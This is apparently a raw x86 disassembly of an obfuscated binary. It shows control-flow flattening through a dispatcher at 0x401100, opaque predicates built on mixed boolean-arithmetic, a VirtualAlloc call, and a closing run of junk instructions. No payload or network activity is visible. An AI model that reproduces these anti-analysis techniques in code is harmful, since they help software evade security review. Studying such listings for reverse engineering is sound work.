or ecx, 1
and edx, 0xc39f3af4
or eax, esi
mov esi, eax
not esi
and eax, 0x66127908
and esi, 0x99ed86f7
or eax, esi
mov esi, eax
xor esi, 0x82042200
xor eax, 0x51db9df5
mov edi, eax
or eax, ecx
and ecx, 0x3c60c50b
and edi, 0x3c60c50b
and esi, 0xc39f3af4
or esi, edi
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
xor ecx, 0x13ff3686
mov edx, eax
not edx
and ecx, eax
or eax, 0xec00c979
and edx, 0xba1082
mov esi, eax
and esi, 0xfb456e44
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4ba91bb
or eax, esi
and esi, 0xfb456e44
or ecx, esi
not eax
mov esi, 0x4850a9f4
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfa0d64eb
and ecx, 0x5f29b14
or eax, ecx
mov ecx, eax
xor ecx, 0x80505045
xor eax, 0x160dad92
mov edx, eax
and edx, 0x7ba3223a
and ecx, 0x845cddc5
or ecx, edx
xor ecx, 0x845cddc5
or ecx, eax
cmp ecx, 0xffffffff
setne ah
cmp dword [0x508180], 0xa
mov ch, ah
setge al
inc ch
mov edx, eax
xor dl, ch
or ch, al
mov dh, dl
xor ch, 1
xor dh, 1
mov cl, dh
and cl, al
or al, ah
mov ah, dl
xor al, 1
or cl, ch
or al, dh
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test al, 1
mov eax, 0xfd7c1ad4
cmovne esi, eax
test dl, 1
mov edx, 0x4850a9f4
mov eax, esi
cmovne eax, edx
mov edx, dword [ebp - 0x20]
test cl, 1
cmove eax, esi
mov dword [ebp - 0xd8], edx
jmp 0x401100
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x40]
mov eax, 0x23f51c81
jmp 0x401100
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, 0x9dce59e8
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0x14a32b38
mov edx, eax
not edx
and esi, eax
mov ebx, edx
and ebx, 0x14800010
and edx, 0xcc6397ea
mov ecx, esi
not ecx
and esi, 0x3ed0d450
mov edi, ecx
and edi, 0xc12f2baf
or esi, edi
mov edi, eax
or edi, 0xeb5cd4c7
or ecx, edi
and edi, 0xc12f2baf
or ebx, edi
not ecx
xor ebx, esi
or ecx, ebx
mov esi, ecx
not esi
and ecx, 0xeb5cd4c6
and esi, 0x14a32b39
or ecx, esi
mov esi, eax
and esi, 0x339c6815
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x884296e1
xor esi, 0x21104814
or eax, edx
and esi, 0x6531491e
and eax, 0x9aceb6e1
or eax, esi
mov esi, 0xf57938fc
xor eax, 0x9aceb6e1
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x9688e603
and ecx, 0x697719fc
or ecx, edx
xor ecx, 0x9688e603
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x508180], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor ah, cl
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x4525511e
cmovne eax, esi
test dl, dl
mov edx, 0x4525511e
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
mov eax, 0x52d48f25
jmp 0x401100
mov ecx, dword [0x508184]
mov esi, 0x4e0e9615
mov edi, 0xd392b81
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x2e9605a
and ecx, 0xfd169fa5
or eax, ecx
mov ecx, eax
xor ecx, 0x2890000
xor eax, 0xcc168b81
and eax, 0xcc76ebdb
and ecx, 0x33891424
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x33891424
xor eax, 0xcc76ebdb
xor edx, 0xcc76ebda
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x977410c0
and ecx, 0x688bef3f
or eax, ecx
xor eax, 0x977410c0
sete dl
setne ch
cmp dword [0x508180], 0xa
setge cl
setl dh
mov eax, ecx
mov ah, cl
xor al, ch
inc ah
and al, dh
and ah, ch
or ch, dh
xor al, 1
mov dh, al
or al, ch
xor dh, ch
mov ch, cl
xor al, 1
xor ch, dl
or al, dh
and ch, cl
and cl, dl
xor al, 1
or cl, ah
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xd392b81
cmovne eax, esi
test cl, 1
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x401100
mov eax, dword [0x508184]
mov esi, 0xd35b1f7
mov edi, 0xbe21f15
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xa13c3e5f
and eax, 0x5ec3c1a0
or eax, ecx
xor eax, 0x5ec3c1a1
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc495d0b4
and ecx, 0x3b6a2f4b
or eax, ecx
xor eax, 0xc495d0b4
sete cl
setne dl
cmp dword [0x508180], 0xa
setl al
mov ah, al
xor dl, al
xor al, cl
or ah, cl
xor dl, 1
mov ecx, 0xbe21f15
xor ah, 1
or ah, dl
xor ah, 1
xor al, ah
mov edx, eax
cmovne ecx, esi
not dl
test dl, ah
cmove ecx, edi
cmovne ecx, esi
test al, al
mov eax, dword [ebp - 0x50]
jmp 0x40e67b
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, 0x113f8ebf
jmp 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x4f040890
mov esi, eax
mov edi, eax
or esi, 0xa0030009
and edx, 0xef070899
and edi, 0x10880066
and eax, 0xfb4ebfe4
or edi, edx
mov edx, ecx
and esi, 0xef070899
and edx, 0x70f700
and ecx, 0x4b1401b
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xb08b006e
and esi, 0x4f74ff91
or edx, esi
mov esi, edx
not esi
and edx, 0xfb4ebfe4
mov edi, esi
and edi, 0x4b1401b
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xca97855f
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x508180], 0xa
mov ch, cl
setl al
setge ah
and ch, ah
and al, dl
xor cl, ah
or al, ch
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, 1
and cl, al
not dl
and dl, ah
or ah, al
or dl, cl
mov al, ah
mov ecx, 0xcc3764ae
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0xcc3764ae
jmp 0x4010ec
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x9c], eax
mov eax, 0xf8b33e
jmp 0x401100
push 4
push 0x3000
push dword [ebp - 0xc8]
push dword [ebp - 0x10c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x508184]
cmp dword [ebp - 0xa8], 0
mov dword [ebp - 0x1c], eax
lea eax, [ecx + 1]
sete byte [ebp - 0x7a]
imul eax, ecx
mov esi, eax
xor esi, 0xba8f1132
mov ecx, eax
and ecx, 0x90801120
and esi, eax
not eax
and eax, 0x2a0f0012
or ecx, eax
xor ecx, 0x90801120
or esi, ecx
mov eax, esi
not eax
and esi, 0xe4ae926a
and eax, 0x1b516d95
or esi, eax
mov edx, esi
mov ecx, esi
xor edx, 0x5e218358
xor ecx, 0xa1de7ca7
xor esi, 0x94fb3b99
mov eax, edx
and esi, ecx
and eax, 0x3525473e
and edx, 0xb0c70c18
or eax, esi
mov esi, eax
not esi
and eax, 0x36029c3e
and esi, 0xc9fd63c1
or eax, esi
mov esi, ecx
and esi, 0x4f38f3e7
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x582096
xor eax, 0x327db01
xor esi, 0xb0c70c19
and edx, 0x35e6397
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3a87e916
and esi, 0xc57816e9
or ecx, esi
mov esi, eax
and esi, 0xfca19c68
or edx, esi
mov esi, ecx
xor esi, 0x2066116
xor ecx, 0xc57816e9
or eax, ecx
and ecx, 0xfca19c68
and esi, 0x35e6397
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x30c023d9
mov ecx, eax
xor ecx, 0x5101bdbc
and ecx, eax
not eax
and eax, 0x5101bdbc
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x90c2abf2
and eax, 0x6f3d540d
or ecx, eax
mov eax, ecx
xor eax, 0x8041044c
xor ecx, 0x3634c180
and eax, 0x88492c7d
and ecx, 0x77b6d382
or ecx, eax
xor ecx, 0x77b6d382
setne dl
sete ah
cmp dword [0x508180], 0xa
mov dh, dl
mov ch, ah
setge al
setl cl
xor dh, al
xor cl, ah
or ch, al
mov ah, dh
mov bl, ch
and ah, al
or al, dl
xor al, 1
xor ah, 1
or al, dh
xor bl, ah
or ah, ch
mov edx, 0xbb8eeccd
xor ah, 1
xor al, 1
or ah, bl
or al, cl
xor ah, 1
mov ecx, eax
xor cl, ah
or ah, al
xor cl, 1
mov al, cl
xor al, ah
not al
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0xbb8eeccd
cmovne eax, edx
jmp 0x40c4a8
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x20420000
mov esi, eax
mov edi, eax
or esi, 0x58910e88
and edx, 0x78d30e88
and edi, 0x48035
and eax, 0xcf71bba8
or edi, edx
mov edx, ecx
and esi, 0x78d30e88
and edx, 0x87287142
and ecx, 0x308e4457
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x58958ebc
and esi, 0xa76a7143
or edx, esi
mov esi, edx
not esi
and edx, 0xcf71bba8
mov edi, esi
and edi, 0x308e4457
or edx, edi
mov edi, 0x1fe622f0
xor eax, edx
not eax
or eax, esi
mov esi, 0xee69616a
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x508180], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
mov ah, dl
or dh, cl
xor dl, al
xor ah, 1
xor al, 1
mov cl, dh
or al, ah
xor cl, ch
xor al, 1
and cl, dh
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
mov ah, cl
xor dl, 1
xor ah, al
or dl, al
or al, cl
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0x1fe622f0
cmovne eax, edi
test dl, 1
mov edx, dword [ebp - 0xa0]
cmove eax, edi
mov dword [ebp - 0xf4], edx
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x16b4ff2f
and ecx, 0xe94b00d0
or eax, ecx
mov ecx, eax
xor eax, 0x80490050
xor ecx, 0x16b4ff2f
mov edx, ecx
and eax, 0x8459257e
and edx, 0x7ba6da81
and ecx, 0x9e982400
or edx, eax
mov eax, edx
xor eax, 0x7ba6da81
xor edx, 0x84112010
mov esi, eax
and esi, 0x6167dbff
and edx, 0xbd95e811
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x6167dbfe
and esi, 0x9e982401
or ecx, esi
mov esi, eax
and esi, 0x426a17ee
and eax, 1
or esi, edx
xor esi, 0xbd95e810
or eax, esi
mov esi, 0xb36b6a2b
not eax
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x3520f069
and eax, 0xcadf0f96
or ecx, eax
xor ecx, 0x3520f069
or edx, ecx
sete al
setne cl
cmp dword [0x508180], 0xa
setge dl
setl ah
and ah, cl
mov ecx, edx
and cl, al
xor al, dl
or cl, ah
and dl, al
xor al, 1
mov ch, cl
or al, dl
xor ch, 1
mov edx, eax
mov ah, al
mov dh, ch
mov bl, ch
xor dl, 1
xor ch, al
and dh, cl
and ah, dl
xor bl, dh
xor dh, 1
xor ah, 1
or dh, cl
or ah, dl
or dl, cl
xor dh, 1
xor ah, 1
xor dl, 1
or dh, bl
or ah, al
or dl, ch
mov ecx, 0x7989e793
mov bl, dh
mov al, dl
xor bl, 1
and bl, ah
xor ah, 1
and ah, dh
or ah, bl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0x7989e793
cmove ecx, eax
mov eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x68], eax
mov eax, 0x70c37188
jmp 0x401100
cmp dword [ebp - 0x104], 0
mov eax, dword [0x508184]
lea ecx, [eax + 1]
setne byte [ebp - 0x85]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xf6049b52
mov esi, eax
and esi, 0x9fb64ad
and eax, 0x48133b6d
or edx, esi
mov esi, edx
xor edx, 0x9fb64ac
xor esi, 0x90001040
or edx, 1
and esi, 0x909b7468
mov edi, edx
and edi, 0x6f648b96
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xb7ecc492
mov ebx, edi
not ebx
and edi, 0x909b7469
or eax, ecx
or edx, ebx
and ebx, 0x6f648b96
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x48133b6d
mov edi, esi
and edi, 0xb7ecc492
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xcb17fa94
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x508180], 0xa
setge ch
setl cl
mov al, ch
and cl, dl
and ch, ah
inc al
or cl, ch
and dl, al
or al, ah
or dl, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x8fab226d
cmovne ecx, esi
test al, al
mov esi, 0x8fab226d
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x401100
mov eax, 0x850e1938
jmp 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x61b6f545
and edx, ecx
not ecx
and ecx, 0x61b6f545
or edx, ecx
mov eax, edx
not eax
and edx, 0xda2ad02
and eax, 0xf25d52fd
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0x6c145847
xor eax, 0x93eba7b8
xor edx, 0xba362aff
mov ecx, esi
and edx, eax
and ecx, 0x29dd8d47
and esi, 0x39ee0885
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd62272b9
and edx, 0x29dd8d46
or ecx, edx
mov edx, eax
and edx, 0xc611f77a
and eax, 1
or edx, esi
xor edx, 0x39ee0884
or eax, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x1aea05b9
mov edx, eax
not edx
and ecx, eax
or eax, 0xe515fa46
and edx, 0x8ca00b9
mov edi, ecx
not edi
mov esi, eax
and esi, 0x53346f40
and ecx, 0xaccb90bf
or eax, edi
and edi, 0x53346f40
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc0a78c34
and ecx, 0x3f5873cb
or eax, ecx
mov ecx, eax
xor ecx, 0x4a480908
xor eax, 0x24125620
and eax, 0xb417d6a5
and ecx, 0x4be8295a
or ecx, eax
xor ecx, 0xb417d6a5
setne dl
sete ah
cmp dword [0x508180], 0xa
mov dh, dl
setl ch
setge al
inc dh
mov cl, ch
or dh, al
or cl, dl
and dl, ch
mov ch, al
xor dh, 1
xor ch, ah
xor cl, 1
and ch, al
and al, ah
or cl, dh
or al, dl
mov dl, ch
xor ch, al
xor dl, 1
xor al, 1
or al, dl
xor al, 1
or al, ch
mov ch, cl
mov edx, eax
and ch, al
xor dl, 1
mov ah, dl
or dl, cl
xor cl, 1
and ah, cl
xor cl, al
xor dl, 1
or dl, cl
or ch, ah
mov eax, 0x999cbbc6
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0xbf5ea8e3
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x999cbbc6
cmove eax, edx
jmp 0x401100
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x194], eax
mov eax, 0xc83d8b4e
jmp 0x401100
mov eax, 0xbfa26346
jmp 0x401100
mov eax, 0xb32846be
jmp 0x401100
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xfffffffe
not ecx
mov esi, ecx
and esi, 0xfffffffe
and eax, edx
and ecx, 0xbe049ef9
or eax, esi
mov esi, eax
not esi
and eax, 0xe783119f
and esi, 0x187cee60
or eax, esi
mov esi, eax
xor esi, 0xa6001099
xor eax, 0x187cee60
mov edi, eax
or eax, edx
and edx, 0x41fb6106
and edi, 0x41fb6106
and esi, 0xbe049ef9
or esi, edi
or ecx, edx
not eax
mov edi, 0xd08989d2
xor ecx, esi
mov esi, 0x5aa1e4c6
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x96fb4c7d
and ecx, 0x6904b382
or eax, ecx
cmp eax, 0x96fb4c7d
setne dl
cmp dword [0x508180], 0xa
setl ah
setge cl
mov al, ah
xor al, dl
xor al, 1
or al, cl
xor cl, dl
or dl, ah
xor dl, 1
and cl, ah
xor al, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0xd08989d2
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
jmp 0x40d021
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
or eax, 1
and edx, ecx
not ecx
mov edi, eax
and edi, 0x383851c4
mov esi, ecx
and esi, 0xc7c7ae3a
or esi, edi
mov edi, edx
not edi
and edx, 0xc7c7ae3b
or eax, edi
and edi, 0x383851c4
or edx, edi
not eax
mov edi, 0xd22cced
xor edx, esi
mov esi, 0xc38d791e
or eax, edx
mov edx, eax
not edx
and eax, 0xe2866387
and edx, 0x1d799c78
or eax, edx
xor eax, 0xe2866387
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x508180], 0xa
setl cl
mov edx, ecx
xor cl, al
and dl, al
mov eax, 0xd22cced
xor cl, dl
mov ch, cl
xor ch, 1
and dl, ch
xor ch, dl
test cl, cl
cmovne eax, esi
test dl, dl
cmove eax, edi
test ch, ch
cmove eax, esi
jmp 0x401100
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x20
mov eax, 0x748148b8
jmp 0x401100
mov eax, dword [0x508184]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0x49d5541f
mov edx, ecx
and edx, 0xb62aabe0
and ecx, 0x90136dfc
or edx, esi
mov esi, eax
and esi, 0x6fec9202
or ecx, esi
mov esi, edx
xor esi, 0x900229e1
xor edx, 0x49d5541e
or eax, edx
and edx, 0x6fec9202
and esi, 0x90136dfd
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x24dca141
and eax, 0xdb235ebe
or ecx, eax
mov eax, ecx
xor eax, 0x24cc2101
xor ecx, 0xdb235ebe
mov esi, ecx
and esi, 0x1010d4ce
and eax, 0xefef2b31
or eax, esi
mov esi, edx
not esi
and edx, 0xefef2b31
or ecx, esi
and esi, 0x1010d4ce
or edx, esi
not ecx
mov esi, 0x93c8abc2
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x5c93b07b
mov edx, eax
and edx, 0xa36c4f84
or ecx, edx
xor ecx, 0xa36c4f84
xor eax, ecx
test eax, ecx
sete cl
setne ch
cmp dword [0x508180], 0xa
setl al
setge dl
mov ah, al
and al, ch
and ch, dl
and ah, cl
and cl, dl
or ah, ch
or al, cl
xor ah, 1
or ah, dl
xor ah, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x4a1eb1d8
cmovne eax, esi
test cl, 1
mov ecx, 0x4a1eb1d8
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
not ecx
or edx, 1
mov edi, ecx
mov esi, edx
and esi, 0x1bf828be
and edi, 0xe407d740
and ecx, 0xac6dc3c5
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x53923c3a
mov ebx, esi
not ebx
and esi, 0xe407d741
or eax, ecx
or edx, ebx
and ebx, 0x1bf828be
xor eax, 0x53923c3a
or esi, ebx
not edx
xor esi, edi
mov edi, 0xa8383f71
or edx, esi
mov esi, 0xa235184c
not edx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x3f0eefab
and ecx, 0xc0f11054
or eax, ecx
xor eax, 0x3f0eefab
setne dl
sete ah
cmp dword [0x508180], 0xa
setl ch
setge cl
mov al, ch
xor al, ah
mov dh, al
and al, ch
and dh, ah
mov ch, dh
xor dh, al
xor al, 1
xor ch, 1
or al, ch
mov ch, cl
or cl, dl
inc ch
xor cl, 1
xor al, 1
xor dl, ch
xor ch, ah
or al, dh
or cl, ch
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0xa8383f71
xor al, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, edx
cmovne eax, edi
test cl, 1
cmovne eax, edx
jmp 0x401100
cmp byte [ebp - 0x84], 0
mov eax, 0x682367e1
mov ecx, 0x7d67df1e
cmovne eax, ecx
jmp 0x401100
mov eax, 0xe6cae841
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xf294368
not edx
mov ecx, edx
and esi, eax
and ecx, 0xf294368
and edx, 0xf707a00e
and eax, 0x8f85ff1
or ecx, esi
not esi
or eax, edx
and esi, 0xf0d6bc96
and ecx, 0xf294369
mov edx, eax
xor edx, 0x8f85ff1
xor eax, 0xf707a00e
or ecx, esi
mov esi, 0xee69616a
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne ah
sete cl
cmp dword [0x508180], 0xa
setge dl
setl al
mov ch, dl
or dl, ah
and ch, cl
xor cl, al
and al, ah
xor dl, 1
or al, ch
or dl, cl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf97335d6
cmovne ecx, esi
test al, 1
mov eax, 0xf97335d6
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
mov esi, ecx
or edx, 0x40a030ae
and esi, 0x40a030ae
and ecx, 0x861e0694
mov edi, eax
and edi, 0xbf5fcf50
and edx, 0x40a030af
and eax, 0x79e1f96b
or edi, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x79e1f96b
mov edi, esi
and edi, 0x861e0694
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xc6830342
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x508180], 0xa
mov ch, cl
setl ah
setge al
and ch, al
and dl, ah
xor cl, ah
or dl, ch
xor al, dl
and al, dl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, al
mov eax, 0x28fa0499
cmovne eax, esi
test dl, dl
mov edx, 0x28fa0499
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x401100
mov eax, dword [ebp - 0x3c]
mov dword [eax], 4
mov eax, 0xa05bd798
jmp 0x401100
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x1bc]
vmovsd xmm0, qword [eax]
mov eax, 0xfc9a8332
vmovsd qword [ecx], xmm0
jmp 0x401100
mov eax, dword [ebp - 0x138]
mov eax, 0x24d875
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x46e45670
and ecx, 0xb91ba98f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2a6f9a52
and ecx, 0xd59065ad
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x6c8bcc22
xor ecx, 0x937433dd
xor edx, 0x937433dc
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xc6b7c4d5
mov esi, eax
and esi, 0x39483b2a
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc6b7c4d5
or eax, esi
and esi, 0x39483b2a
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x14d5055b
and edx, 0xeb2afaa4
or edx, esi
mov esi, ecx
not esi
and ecx, 0xeb2afaa4
or eax, esi
and esi, 0x14d5055b
or ecx, esi
not eax
mov esi, 0x63d09057
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe6a0e665
mov edx, ecx
and edx, 0x195f199a
or eax, edx
xor eax, 0x195f199a
xor ecx, eax
test ecx, eax
setne al
sete dl
cmp dword [0x508180], 0xa
mov edi, dword [ebp - 0xe0]
setl ah
setge cl
mov ch, ah
or ah, dl
xor cl, al
xor ah, 1
xor ch, dl
mov edx, 0xfb3568eb
or cl, ah
mov eax, 0x63d09057
xor cl, ch
cmovne eax, edx
test cl, ch
cmove eax, edx
mov edx, dword [ebp - 0xdc]
cmovne eax, esi
test cl, cl
cmove eax, esi
cmp edx, dword [edi + 0x1c]
setne byte [ebp - 0x7c]
jmp 0x401100
neg eax
rcr edx, 0x79
ror edi, 0xf7
add edi, 0x57
imul eax
ror esi, 0xcc
dec ebx
bswap edi
and ebx, 0xf4
or eax, 0x68
or edx, 0xb5
not edi
and edi, 0x4a
inc eax
rol esi, 0xb9
imul esi
imul eax
or edx, 0xe3
dec edx
neg edi
rcr edx, 0xf2
inc edi
rcr ebx, 0xb6
imul edi
neg esi
inc edx
rcl eax, 0x29
inc edi
neg esi
mov ebx, 0xf2
or eax, 0xc7
rcr esi, 0x99
sub esi, 0xa1
and edx, 0xbb
mov esi, 0x6d
inc esi
dec esi
not esi
imul edx
not eax
ror edi, 0xa7
sbb eax, 0x2d
sbb esi, 0x60
rcr esi, 0x6d
and ebx, 0x7c
rol eax, 0xc0
rol ebx, 0x20
inc eax
ror eax, 0x9a
not edi
imul esi
rcl eax, 0x4a
not esi
ror edx, 0xa5
rcl ebx, 0xfc
and eax, 0x68
rcr eax, 0x85
rcl eax, 0x82
mov edi, 0x8a
and ebx, 0xce
dec esi
inc esi
neg esi
dec esi
neg edi
and eax, 0x43
sbb eax, 0x74
imul esi
neg eax
sub eax, 0x62
add ebx, 0xaa
not ebx
sbb eax, 0x76
neg ebx
sbb eax, 0xd
bswap edi
mov esi, 0xc9
rcl eax, 0x4e
not ebx
sbb ebx, 0x51
imul eax
bswap eax
rol esi, 0x29
inc esi
add edx, 0x8c
ror esi, 0x5b
neg esi
sub ebx, 0x51
inc esi
neg ebx
rol ebx, 0xe1
bswap esi
imul edi
or edi, 0xec
and edi, 0xb2
rcl ebx, 3
add edx, 0x8f
dec edx
imul eax
rcr edi, 0x48
neg edx
rcl eax, 0x87
inc ebx
dec eax
neg ebx
rcr edx, 0x32
bswap ebx
or eax, 0x69
sbb eax, 0x56
dec edi
mov eax, 0xfc
not edi
neg eax
or edx, 0xf
sub eax, 0xcc
mov eax, 0x60
ror ebx, 0x31
ror esi, 0xdb
sub edx, 0xfe
and edx, 0x35
rcl eax, 0xab
not edi
bswap eax
rol eax, 0xd7
not edx
neg ebx
sub edx, 0x5c
dec edi
ror esi, 0xc7
add ebx, 0xaa
sub edi, 0x63
imul eax
not eax
sbb edx, 2
inc eax
